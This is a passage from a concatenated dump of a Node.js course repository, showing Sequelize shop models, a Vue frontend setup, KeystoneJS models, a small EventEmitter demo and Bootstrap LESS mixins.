4 | const OrderItem = sequelize.define('orderItem', {
5 | id: {
6 | type: Sequelize.INTEGER,
7 | autoIncrement: true,
8 | allowNull: false,
9 | primaryKey: true
10 | },
11 | quantity: Sequelize.INTEGER
12 | });
13 |
14 | module.exports = OrderItem;
--------------------------------------------------------------------------------
/node/04/shop/backend/models/order.js:
--------------------------------------------------------------------------------
1 | const Sequelize = require('sequelize');
2 | const sequelize = require('../util/database');
3 |
4 | const Order = sequelize.define('order', {
5 | id: {
6 | type: Sequelize.INTEGER,
7 | autoIncrement: true,
8 | allowNull: false,
9 | primaryKey: true
10 | }
11 | });
12 |
13 | module.exports = Order;
--------------------------------------------------------------------------------
/node/04/shop/backend/models/product.js:
--------------------------------------------------------------------------------
1 | const Sequelize = require('sequelize');
2 |
3 | const sequelize = require('../util/database');
4 |
5 | const Product = sequelize.define('product', {
6 | id: {
7 | type: Sequelize.INTEGER,
8 | autoIncrement: true,
9 | allowNull: false,
10 | primaryKey: true
11 | },
12 | title: {
13 | type: Sequelize.STRING,
14 | allowNull: false
15 | },
16 | price: {
17 | type: Sequelize.DOUBLE,
18 | allowNull: false
19 | },
20 | imageUrl: {
21 | type: Sequelize.STRING,
22 | allowNull: false
23 | },
24 | description: {
25 | type: Sequelize.STRING,
26 | allowNull: false
27 | }
28 | });
29 |
30 | module.exports = Product;
--------------------------------------------------------------------------------
/node/04/shop/backend/models/user.js:
--------------------------------------------------------------------------------
1 | const Sequelize = require('sequelize');
2 | const sequelize = require('../util/database');
3 |
4 | const User = sequelize.define('user', {
5 | id : {
6 | type: Sequelize.INTEGER,
7 | autoIncrement: true,
8 | allowNull: false,
9 | primaryKey: true
10 | },
11 | name: Sequelize.STRING,
12 | email: Sequelize.STRING
13 | });
14 |
15 | module.exports = User;
--------------------------------------------------------------------------------
/node/04/shop/backend/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "expressjs",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "app.js",
6 | "dependencies": {
7 | "body-parser": "^1.18.3",
8 | "dotenv": "^6.2.0",
9 | "ejs": "^2.6.1",
10 | "express": "^4.16.4",
11 | "express-handlebars": "^3.0.0",
12 | "http-proxy-middleware": "^0.19.1",
13 | "mongodb": "^3.1.13",
14 | "mysql2": "^1.6.5",
15 | "nodemon": "^1.18.10",
16 | "sequelize": "^4.42.0"
17 | },
18 | "devDependencies": {},
19 | "scripts": {
20 | "test": "echo \"Error: no test specified\" && exit 1",
21 | "start": "nodemon app.js"
22 | },
23 | "author": "Sourav",
24 | "license": "ISC"
25 | }
26 |
--------------------------------------------------------------------------------
/node/04/shop/backend/util/conf.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | database: 'shop',
3 | username: 'root',
4 | password:'example',
5 | host:'localhost'
6 | };
--------------------------------------------------------------------------------
/node/04/shop/backend/util/database.js:
--------------------------------------------------------------------------------
1 | const Sequelize = require("sequelize");
2 | const env = require("dotenv");
3 | const conf = require("./conf")
4 |
5 | env.config();
6 | const sequelize = new Sequelize(conf.database, conf.username, conf.password, {
7 | dialect: "mysql",
8 | host: conf.host,
9 | operatorsAliases: false
10 | });
11 |
12 | module.exports = sequelize;
13 |
--------------------------------------------------------------------------------
/node/04/shop/backend/util/path.js:
--------------------------------------------------------------------------------
1 | const path = require('path');
2 |
3 | module.exports = path.dirname(process.mainModule.filename);
--------------------------------------------------------------------------------
/node/04/shop/frontend/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | node_modules
3 | /dist
4 |
5 | # local env files
6 | .env.local
7 | .env.*.local
8 |
9 | # Log files
10 | npm-debug.log*
11 | yarn-debug.log*
12 | yarn-error.log*
13 |
14 | # Editor directories and files
15 | .idea
16 | .vscode
17 | *.suo
18 | *.ntvs*
19 | *.njsproj
20 | *.sln
21 | *.sw?
22 |
--------------------------------------------------------------------------------
/node/04/shop/frontend/README.md:
--------------------------------------------------------------------------------
1 | # datas
2 |
3 | ## Project setup
4 | ```
5 | npm install
6 | ```
7 |
8 | ### Compiles and hot-reloads for development
9 | ```
10 | npm run serve
11 | ```
12 |
13 | ### Compiles and minifies for production
14 | ```
15 | npm run build
16 | ```
17 |
18 | ### Run your tests
19 | ```
20 | npm run test
21 | ```
22 |
23 | ### Lints and fixes files
24 | ```
25 | npm run lint
26 | ```
27 |
28 | ### Customize configuration
29 | See [Configuration Reference](https://cli.vuejs.org/config/).
30 |
--------------------------------------------------------------------------------
/node/04/shop/frontend/babel.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | presets: ["@vue/app"]
3 | };
4 |
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/public/favicon.ico
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/img/icons/android-chrome-192x192.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/public/img/icons/android-chrome-192x192.png
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/img/icons/android-chrome-512x512.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/public/img/icons/android-chrome-512x512.png
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/img/icons/apple-touch-icon-120x120.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/public/img/icons/apple-touch-icon-120x120.png
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/img/icons/apple-touch-icon-152x152.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/public/img/icons/apple-touch-icon-152x152.png
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/img/icons/apple-touch-icon-180x180.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/public/img/icons/apple-touch-icon-180x180.png
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/img/icons/apple-touch-icon-60x60.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/public/img/icons/apple-touch-icon-60x60.png
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/img/icons/apple-touch-icon-76x76.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/public/img/icons/apple-touch-icon-76x76.png
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/img/icons/apple-touch-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/public/img/icons/apple-touch-icon.png
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/img/icons/favicon-16x16.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/public/img/icons/favicon-16x16.png
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/img/icons/favicon-32x32.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/public/img/icons/favicon-32x32.png
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/img/icons/msapplication-icon-144x144.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/public/img/icons/msapplication-icon-144x144.png
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/img/icons/mstile-150x150.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/public/img/icons/mstile-150x150.png
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | datas
9 |
10 |
11 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "datas",
3 | "short_name": "datas",
4 | "icons": [
5 | {
6 | "src": "./img/icons/android-chrome-192x192.png",
7 | "sizes": "192x192",
8 | "type": "image/png"
9 | },
10 | {
11 | "src": "./img/icons/android-chrome-512x512.png",
12 | "sizes": "512x512",
13 | "type": "image/png"
14 | }
15 | ],
16 | "start_url": "./index.html",
17 | "display": "standalone",
18 | "background_color": "#000000",
19 | "theme_color": "#4DBA87"
20 | }
21 |
--------------------------------------------------------------------------------
/node/04/shop/frontend/public/robots.txt:
--------------------------------------------------------------------------------
1 | User-agent: *
2 | Disallow:
3 |
--------------------------------------------------------------------------------
/node/04/shop/frontend/src/assets/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/04/shop/frontend/src/assets/logo.png
--------------------------------------------------------------------------------
/node/04/shop/frontend/src/element-variables.scss:
--------------------------------------------------------------------------------
1 | /*
2 | Write your variables here. All available variables can be
3 | found in element-ui/packages/theme-chalk/src/common/var.scss.
4 | For example, to overwrite the theme color:
5 | */
6 | $--color-primary: teal;
7 |
8 | /* icon font path, required */
9 | $--font-path: '~element-ui/lib/theme-chalk/fonts';
10 |
11 | @import "~element-ui/packages/theme-chalk/src/index";
12 |
--------------------------------------------------------------------------------
/node/04/shop/frontend/src/main.js:
--------------------------------------------------------------------------------
1 | import Vue from "vue";
2 | import App from "./App.vue";
3 | import router from "./router";
4 | import "./registerServiceWorker";
5 | import "./plugins/element.js";
6 |
7 | Vue.config.productionTip = false;
8 |
9 | import "./utils/interceptor";
10 |
11 | new Vue({
12 | router,
13 | render: h => h(App)
14 | }).$mount("#app");
15 |
--------------------------------------------------------------------------------
/node/04/shop/frontend/src/plugins/element.js:
--------------------------------------------------------------------------------
1 | import Vue from 'vue'
2 | import Element from 'element-ui'
3 | import '../element-variables.scss'
4 |
5 | Vue.use(Element)
6 |
--------------------------------------------------------------------------------
/node/04/shop/frontend/src/router.js:
--------------------------------------------------------------------------------
1 | import Vue from "vue";
2 | import Router from "vue-router";
3 | import Shop from "./views/Shop.vue";
4 | import Cart from "./views/Cart.vue";
5 | import Orders from "./views/Orders.vue";
6 |
7 |
8 | Vue.use(Router);
9 |
10 | export default new Router({
11 | mode: "history",
12 | base: process.env.BASE_URL,
13 | routes: [
14 | {
15 | path: "/",
16 | name: "shop",
17 | component: Shop
18 | },
19 | {
20 | path: "/shop",
21 | name: "shop",
22 | component: Shop
23 | },
24 | {
25 | path: "/cart",
26 | name: "cart",
27 | component: Cart
28 | },
29 | {
30 | path: "/orders",
31 | name: "orders",
32 | component: Orders
33 | }
34 | ]
35 | });
36 |
--------------------------------------------------------------------------------
/node/04/shop/frontend/vue.config.js:
--------------------------------------------------------------------------------
1 |
2 | const bodyParser = require ('body-parser')
3 | module.exports = {
4 | devServer: {
5 | proxy: {
6 | "/api": {
7 | //代理api
8 | target: "http://localhost:3000/", //服务器api地址
9 | changeOrigin: true, //是否跨域
10 | ws: true, // proxy websockets
11 | pathRewrite: {
12 | //重写路径
13 | "^/api": ""
14 | }
15 | }
16 | }
17 | }
18 | };
19 |
--------------------------------------------------------------------------------
/node/05/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 | services:
3 | mongo:
4 | image: mongo
5 | restart: always
6 | ports:
7 | - 27017:27017
8 | mongo-express:
9 | image: mongo-express
10 | restart: always
11 | ports:
12 | - 8081:8081
13 |
--------------------------------------------------------------------------------
/node/05/eventEmitter/index.js:
--------------------------------------------------------------------------------
1 | class EventEmitter {
2 | constructor() {
3 | this.handler = {};
4 | }
5 | on(eventName, callback) {
6 | if (!this.handles) {
7 | this.handles = {};
8 | }
9 | if (!this.handles[eventName]) {
10 | this.handles[eventName] = [];
11 | }
12 | this.handles[eventName].push(callback);
13 | }
14 | emit(eventName, ...arg) {
15 | if (this.handles[eventName]) {
16 | for (var i = 0; i < this.handles[eventName].length; i++) {
17 | this.handles[eventName][i](...arg);
18 | }
19 | }
20 |
21 | }
22 | }
23 |
24 | const event = new EventEmitter();
25 | event.on('some_event', num => {
26 | console.log('some_event 事件触发:'+num);
27 | });
28 | let num = 0
29 | setInterval(() => {
30 | event.emit('some_event' , num ++ );
31 | }, 1000);
--------------------------------------------------------------------------------
/node/05/keystone/.editorconfig:
--------------------------------------------------------------------------------
1 | # This file is for unifying the coding style for different editors and IDEs
2 | # editorconfig.org
3 | root = true
4 |
5 | [*]
6 | end_of_line = lf
7 | charset = utf-8
8 | trim_trailing_whitespace = false
9 | insert_final_newline = true
10 | indent_style = tab
11 |
12 | [{*.yml,*.json}]
13 | indent_style = space
14 | indent_size = 2
15 |
--------------------------------------------------------------------------------
/node/05/keystone/.eslintignore:
--------------------------------------------------------------------------------
1 | public/js/bootstrap
2 | public/js/jquery
3 |
--------------------------------------------------------------------------------
/node/05/keystone/.eslintrc:
--------------------------------------------------------------------------------
1 | {
2 | "extends": "keystone"
3 | }
4 |
--------------------------------------------------------------------------------
/node/05/keystone/.gitignore:
--------------------------------------------------------------------------------
1 | # Logs
2 | logs
3 | *.log
4 |
5 | # Runtime data
6 | pids
7 | *.pid
8 | *.seed
9 |
10 | # Directory for instrumented libs generated by jscoverage/JSCover
11 | lib-cov
12 |
13 | # Coverage directory used by tools like istanbul
14 | coverage
15 |
16 | # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
17 | .grunt
18 |
19 | # Compiled binary addons (http://nodejs.org/api/addons.html)
20 | build/Release
21 |
22 | # Dependency directory
23 | # Deployed apps should consider commenting this line out:
24 | # see https://npmjs.org/doc/faq.html#Should-I-check-my-node_modules-folder-into-git
25 | node_modules
26 |
27 | # Ignore .env configuration files
28 | .env
29 |
30 | # Ignore .DS_Store files on OS X
31 | .DS_Store
32 |
--------------------------------------------------------------------------------
/node/05/keystone/Procfile:
--------------------------------------------------------------------------------
1 | web: node keystone.js
2 |
--------------------------------------------------------------------------------
/node/05/keystone/models/Enquiry.js:
--------------------------------------------------------------------------------
1 | var keystone = require('keystone');
2 | var Types = keystone.Field.Types;
3 |
4 | /**
5 | * Enquiry Model
6 | * =============
7 | */
8 |
9 | var Enquiry = new keystone.List('Enquiry', {
10 | nocreate: true,
11 | noedit: true,
12 | });
13 |
14 | Enquiry.add({
15 | name: { type: Types.Name, required: true },
16 | email: { type: Types.Email, required: true },
17 | phone: { type: String },
18 | enquiryType: { type: Types.Select, options: [
19 | { value: 'message', label: 'Just leaving a message' },
20 | { value: 'question', label: 'I\'ve got a question' },
21 | { value: 'other', label: 'Something else...' },
22 | ] },
23 | message: { type: Types.Markdown, required: true },
24 | createdAt: { type: Date, default: Date.now },
25 | });
26 |
27 | Enquiry.defaultSort = '-createdAt';
28 | Enquiry.defaultColumns = 'name, email, enquiryType, createdAt';
29 | Enquiry.register();
30 |
--------------------------------------------------------------------------------
/node/05/keystone/models/Gallery.js:
--------------------------------------------------------------------------------
1 | var keystone = require('keystone');
2 | var Types = keystone.Field.Types;
3 |
4 | /**
5 | * Gallery Model
6 | * =============
7 | */
8 |
9 | var Gallery = new keystone.List('Gallery', {
10 | autokey: { from: 'name', path: 'key', unique: true },
11 | });
12 |
13 | Gallery.add({
14 | name: { type: String, required: true },
15 | publishedDate: { type: Date, default: Date.now },
16 | heroImage: { type: Types.CloudinaryImage },
17 | images: { type: Types.CloudinaryImages },
18 | });
19 |
20 | Gallery.register();
21 |
--------------------------------------------------------------------------------
/node/05/keystone/models/Order.js:
--------------------------------------------------------------------------------
1 | var keystone = require('keystone');
2 | var Types = keystone.Field.Types;
3 |
4 | var Order = new keystone.List('Order');
5 |
6 | Order.add({
7 | name: { type: Types.Text, required: true, index: true },
8 | date: { type: Types.Date },
9 | text: { type: Types.Text },
10 | markdown: { type: Types.Markdown},
11 | code: { type: Types.Code},
12 | color: { type: Types.Color},
13 | });
14 |
15 | Order.register();
16 |
--------------------------------------------------------------------------------
/node/05/keystone/models/PostCategory.js:
--------------------------------------------------------------------------------
1 | var keystone = require('keystone');
2 |
3 | /**
4 | * PostCategory Model
5 | * ==================
6 | */
7 |
8 | var PostCategory = new keystone.List('PostCategory', {
9 | autokey: { from: 'name', path: 'key', unique: true },
10 | });
11 |
12 | PostCategory.add({
13 | name: { type: String, required: true },
14 | });
15 |
16 | PostCategory.relationship({ ref: 'Post', path: 'posts', refPath: 'categories' });
17 |
18 | PostCategory.register();
19 |
--------------------------------------------------------------------------------
/node/05/keystone/models/User.js:
--------------------------------------------------------------------------------
1 | var keystone = require('keystone');
2 | var Types = keystone.Field.Types;
3 |
4 | /**
5 | * User Model
6 | * ==========
7 | */
8 | var User = new keystone.List('User');
9 |
10 | User.add({
11 | name: { type: Types.Name, required: true, index: true },
12 | email: { type: Types.Email, initial: true, required: true, unique: true, index: true },
13 | password: { type: Types.Password, initial: true, required: true },
14 | }, 'Permissions', {
15 | isAdmin: { type: Boolean, label: 'Can access Keystone', index: true },
16 | });
17 |
18 | // Provide access to Keystone
19 | User.schema.virtual('canAccessKeystone').get(function () {
20 | return this.isAdmin;
21 | });
22 |
23 |
24 | /**
25 | * Relationships
26 | */
27 | User.relationship({ ref: 'Post', path: 'posts', refPath: 'author' });
28 |
29 |
30 | /**
31 | * Registration
32 | */
33 | User.defaultColumns = 'name, email, isAdmin';
34 | User.register();
35 |
--------------------------------------------------------------------------------
/node/05/keystone/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "my-site",
3 | "version": "0.0.0",
4 | "private": true,
5 | "dependencies": {
6 | "keystone": "4.0.0-beta.5",
7 | "lodash": "^4.13.1",
8 | "pug": "2.0.0-beta11",
9 | "dotenv": "4.0.0",
10 | "async": "2.1.4"
11 | },
12 | "devDependencies": {
13 | "eslint": "3.15.0",
14 | "eslint-config-keystone": "3.0.0",
15 | "eslint-plugin-react": "^5.1.1"
16 | },
17 | "scripts": {
18 | "lint": "eslint .",
19 | "start": "node keystone.js"
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/node/05/keystone/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/05/keystone/public/favicon.ico
--------------------------------------------------------------------------------
/node/05/keystone/public/fonts/glyphicons-halflings-regular.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/05/keystone/public/fonts/glyphicons-halflings-regular.eot
--------------------------------------------------------------------------------
/node/05/keystone/public/fonts/glyphicons-halflings-regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/05/keystone/public/fonts/glyphicons-halflings-regular.ttf
--------------------------------------------------------------------------------
/node/05/keystone/public/fonts/glyphicons-halflings-regular.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/05/keystone/public/fonts/glyphicons-halflings-regular.woff
--------------------------------------------------------------------------------
/node/05/keystone/public/fonts/glyphicons-halflings-regular.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/05/keystone/public/fonts/glyphicons-halflings-regular.woff2
--------------------------------------------------------------------------------
/node/05/keystone/public/images/logo-email.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/05/keystone/public/images/logo-email.gif
--------------------------------------------------------------------------------
/node/05/keystone/public/js/bootstrap/npm.js:
--------------------------------------------------------------------------------
1 | // This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment.
2 | require('../../js/transition.js')
3 | require('../../js/alert.js')
4 | require('../../js/button.js')
5 | require('../../js/carousel.js')
6 | require('../../js/collapse.js')
7 | require('../../js/dropdown.js')
8 | require('../../js/modal.js')
9 | require('../../js/tooltip.js')
10 | require('../../js/popover.js')
11 | require('../../js/scrollspy.js')
12 | require('../../js/tab.js')
13 | require('../../js/affix.js')
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/breadcrumbs.less:
--------------------------------------------------------------------------------
1 | //
2 | // Breadcrumbs
3 | // --------------------------------------------------
4 |
5 |
6 | .breadcrumb {
7 | padding: @breadcrumb-padding-vertical @breadcrumb-padding-horizontal;
8 | margin-bottom: @line-height-computed;
9 | list-style: none;
10 | background-color: @breadcrumb-bg;
11 | border-radius: @border-radius-base;
12 |
13 | > li {
14 | display: inline-block;
15 |
16 | + li:before {
17 | content: "@{breadcrumb-separator}\00a0"; // Unicode space added since inline-block means non-collapsing white-space
18 | padding: 0 5px;
19 | color: @breadcrumb-color;
20 | }
21 | }
22 |
23 | > .active {
24 | color: @breadcrumb-active-color;
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/close.less:
--------------------------------------------------------------------------------
1 | //
2 | // Close icons
3 | // --------------------------------------------------
4 |
5 |
6 | .close {
7 | float: right;
8 | font-size: (@font-size-base * 1.5);
9 | font-weight: @close-font-weight;
10 | line-height: 1;
11 | color: @close-color;
12 | text-shadow: @close-text-shadow;
13 | .opacity(.2);
14 |
15 | &:hover,
16 | &:focus {
17 | color: @close-color;
18 | text-decoration: none;
19 | cursor: pointer;
20 | .opacity(.5);
21 | }
22 |
23 | // Additional properties for button version
24 | // iOS requires the button element instead of an anchor tag.
25 | // If you want the anchor version, it requires `href="#"`.
26 | // See https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile
27 | button& {
28 | padding: 0;
29 | cursor: pointer;
30 | background: transparent;
31 | border: 0;
32 | -webkit-appearance: none;
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/component-animations.less:
--------------------------------------------------------------------------------
1 | //
2 | // Component animations
3 | // --------------------------------------------------
4 |
5 | // Heads up!
6 | //
7 | // We don't use the `.opacity()` mixin here since it causes a bug with text
8 | // fields in IE7-8. Source: https://github.com/twbs/bootstrap/pull/3552.
9 |
10 | .fade {
11 | opacity: 0;
12 | .transition(opacity .15s linear);
13 | &.in {
14 | opacity: 1;
15 | }
16 | }
17 |
18 | .collapse {
19 | display: none;
20 |
21 | &.in { display: block; }
22 | tr&.in { display: table-row; }
23 | tbody&.in { display: table-row-group; }
24 | }
25 |
26 | .collapsing {
27 | position: relative;
28 | height: 0;
29 | overflow: hidden;
30 | .transition-property(~"height, visibility");
31 | .transition-duration(.35s);
32 | .transition-timing-function(ease);
33 | }
34 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/alerts.less:
--------------------------------------------------------------------------------
1 | // Alerts
2 |
3 | .alert-variant(@background; @border; @text-color) {
4 | background-color: @background;
5 | border-color: @border;
6 | color: @text-color;
7 |
8 | hr {
9 | border-top-color: darken(@border, 5%);
10 | }
11 | .alert-link {
12 | color: darken(@text-color, 10%);
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/background-variant.less:
--------------------------------------------------------------------------------
1 | // Contextual backgrounds
2 |
3 | .bg-variant(@color) {
4 | background-color: @color;
5 | a&:hover,
6 | a&:focus {
7 | background-color: darken(@color, 10%);
8 | }
9 | }
10 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/border-radius.less:
--------------------------------------------------------------------------------
1 | // Single side border-radius
2 |
3 | .border-top-radius(@radius) {
4 | border-top-right-radius: @radius;
5 | border-top-left-radius: @radius;
6 | }
7 | .border-right-radius(@radius) {
8 | border-bottom-right-radius: @radius;
9 | border-top-right-radius: @radius;
10 | }
11 | .border-bottom-radius(@radius) {
12 | border-bottom-right-radius: @radius;
13 | border-bottom-left-radius: @radius;
14 | }
15 | .border-left-radius(@radius) {
16 | border-bottom-left-radius: @radius;
17 | border-top-left-radius: @radius;
18 | }
19 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/center-block.less:
--------------------------------------------------------------------------------
1 | // Center-align a block level element
2 |
3 | .center-block() {
4 | display: block;
5 | margin-left: auto;
6 | margin-right: auto;
7 | }
8 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/clearfix.less:
--------------------------------------------------------------------------------
1 | // Clearfix
2 | //
3 | // For modern browsers
4 | // 1. The space content is one way to avoid an Opera bug when the
5 | // contenteditable attribute is included anywhere else in the document.
6 | // Otherwise it causes space to appear at the top and bottom of elements
7 | // that are clearfixed.
8 | // 2. The use of `table` rather than `block` is only necessary if using
9 | // `:before` to contain the top-margins of child elements.
10 | //
11 | // Source: http://nicolasgallagher.com/micro-clearfix-hack/
12 |
13 | .clearfix() {
14 | &:before,
15 | &:after {
16 | content: " "; // 1
17 | display: table; // 2
18 | }
19 | &:after {
20 | clear: both;
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/hide-text.less:
--------------------------------------------------------------------------------
1 | // CSS image replacement
2 | //
3 | // Heads up! v3 launched with only `.hide-text()`, but per our pattern for
4 | // mixins being reused as classes with the same name, this doesn't hold up. As
5 | // of v3.0.1 we have added `.text-hide()` and deprecated `.hide-text()`.
6 | //
7 | // Source: https://github.com/h5bp/html5-boilerplate/commit/aa0396eae757
8 |
9 | // Deprecated as of v3.0.1 (will be removed in v4)
10 | .hide-text() {
11 | font: ~"0/0" a;
12 | color: transparent;
13 | text-shadow: none;
14 | background-color: transparent;
15 | border: 0;
16 | }
17 |
18 | // New mixin to use as of v3.0.1
19 | .text-hide() {
20 | .hide-text();
21 | }
22 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/labels.less:
--------------------------------------------------------------------------------
1 | // Labels
2 |
3 | .label-variant(@color) {
4 | background-color: @color;
5 |
6 | &[href] {
7 | &:hover,
8 | &:focus {
9 | background-color: darken(@color, 10%);
10 | }
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/list-group.less:
--------------------------------------------------------------------------------
1 | // List Groups
2 |
3 | .list-group-item-variant(@state; @background; @color) {
4 | .list-group-item-@{state} {
5 | color: @color;
6 | background-color: @background;
7 |
8 | a&,
9 | button& {
10 | color: @color;
11 |
12 | .list-group-item-heading {
13 | color: inherit;
14 | }
15 |
16 | &:hover,
17 | &:focus {
18 | color: @color;
19 | background-color: darken(@background, 5%);
20 | }
21 | &.active,
22 | &.active:hover,
23 | &.active:focus {
24 | color: #fff;
25 | background-color: @color;
26 | border-color: @color;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/nav-divider.less:
--------------------------------------------------------------------------------
1 | // Horizontal dividers
2 | //
3 | // Dividers (basically an hr) within dropdowns and nav lists
4 |
5 | .nav-divider(@color: #e5e5e5) {
6 | height: 1px;
7 | margin: ((@line-height-computed / 2) - 1) 0;
8 | overflow: hidden;
9 | background-color: @color;
10 | }
11 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/nav-vertical-align.less:
--------------------------------------------------------------------------------
1 | // Navbar vertical align
2 | //
3 | // Vertically center elements in the navbar.
4 | // Example: an element has a height of 30px, so write out `.navbar-vertical-align(30px);` to calculate the appropriate top margin.
5 |
6 | .navbar-vertical-align(@element-height) {
7 | margin-top: ((@navbar-height - @element-height) / 2);
8 | margin-bottom: ((@navbar-height - @element-height) / 2);
9 | }
10 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/opacity.less:
--------------------------------------------------------------------------------
1 | // Opacity
2 |
3 | .opacity(@opacity) {
4 | opacity: @opacity;
5 | // IE8 filter
6 | @opacity-ie: (@opacity * 100);
7 | filter: ~"alpha(opacity=@{opacity-ie})";
8 | }
9 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/pagination.less:
--------------------------------------------------------------------------------
1 | // Pagination
2 |
3 | .pagination-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {
4 | > li {
5 | > a,
6 | > span {
7 | padding: @padding-vertical @padding-horizontal;
8 | font-size: @font-size;
9 | line-height: @line-height;
10 | }
11 | &:first-child {
12 | > a,
13 | > span {
14 | .border-left-radius(@border-radius);
15 | }
16 | }
17 | &:last-child {
18 | > a,
19 | > span {
20 | .border-right-radius(@border-radius);
21 | }
22 | }
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/panels.less:
--------------------------------------------------------------------------------
1 | // Panels
2 |
3 | .panel-variant(@border; @heading-text-color; @heading-bg-color; @heading-border) {
4 | border-color: @border;
5 |
6 | & > .panel-heading {
7 | color: @heading-text-color;
8 | background-color: @heading-bg-color;
9 | border-color: @heading-border;
10 |
